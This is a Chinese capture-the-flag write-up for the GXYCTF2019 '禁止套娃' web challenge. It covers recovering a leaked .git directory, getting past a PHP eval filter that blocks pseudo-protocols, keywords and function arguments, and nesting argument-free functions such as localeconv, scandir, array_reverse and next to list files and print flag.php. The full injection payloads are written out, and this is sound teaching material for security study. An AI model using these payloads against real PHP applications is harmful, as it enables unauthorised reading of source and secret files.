[GXYCTF2019]禁止套娃

打开连接,发现啥也没有,只有一句话在那,看了源码、抓包数据也没发现啥,用dirsearch目录扫描一下,间隔设置为0.1线程设置为1,防止429,就是跑得比较久

根据扫描结果可以推断是泄露了git文件,可能导致源码泄露

还原之后


1.if (!preg_match(‘/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i’, $_GET[‘exp’]))

过滤了伪协议

2.if (!preg_match(‘/et|na|info|dec|bin|hex|oct|pi|log/i’, $_GET[‘exp’]))

过滤了很多字符

3.if(‘;’ === preg_replace(‘/[a-z,_]+(?R)?(?R)?/’, NULL, $_GET[‘exp’]))

这段代码的核心就是只允许函数而不允许函数中的参数,就是说传进去的值是一个字符串接一个(),那么这个字符串就会被替换为空,如果替换后只剩下;,那么这个条件就成立。

+:量词:匹配1到无穷次,尽可能多匹配,如果有必要,回溯匹配更少内容

(?R)?递归引用整个表达式 后面的?是量词,匹配0个到1个,尽可能多匹配如果有必要,回溯更少的内容

举例:像a(b(c()));第一次匹配后就还剩下a(b());,第二次匹配后就还剩a();,第三次匹配后就还剩;了,所以说这一串a(b(c())),就会被eval执行,但相反,像a(b(‘111’));这种存在参数的就不行,因为无论正则匹配多少次它的参数总是存在的。那假如遇到这种情况,我们就只能使用没有参数的php函数


原本会有两种方式查看目录

(1)dir(getcwd()); //getcwd获取路径,可惜第三个if把“et”过滤掉了

(2)scandir(current(localecnov()))

localecnov() 函数返回一个包含本地数字及货币格式信息的数组。相当于Linux的ls。

scandir()就是列出目录中的文件和目录.

current() 返回数组中当前元素的值

我们还需要把他打印出来,所以

payload: exp=print_r(scandir(current(localeconv())));

显示是在第四个数组里

这里要用两个函数

1.array_reverse()函数用于以相反的顺序返回数组,它接受一个数组并以相反的顺序返回带有值的新数组。

Input:
$arr1 = array(10, 20, 30, 40, 50);

Output:
Array
(
    [0] => 50
    [1] => 40
    [2] => 30
    [3] => 20
    [4] => 10
)

array_reverse(scandir(current(localeconv())))这样就把 flag.php [4]位置换到了第二个,第一个是index.php

我们再利用next指向第二位数组,在用文件显示包涵即可输出flag.php文件

输出php文件,有show_source和highlight_file函数可以使用

?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

发表评论

蜀ICP备2022010829号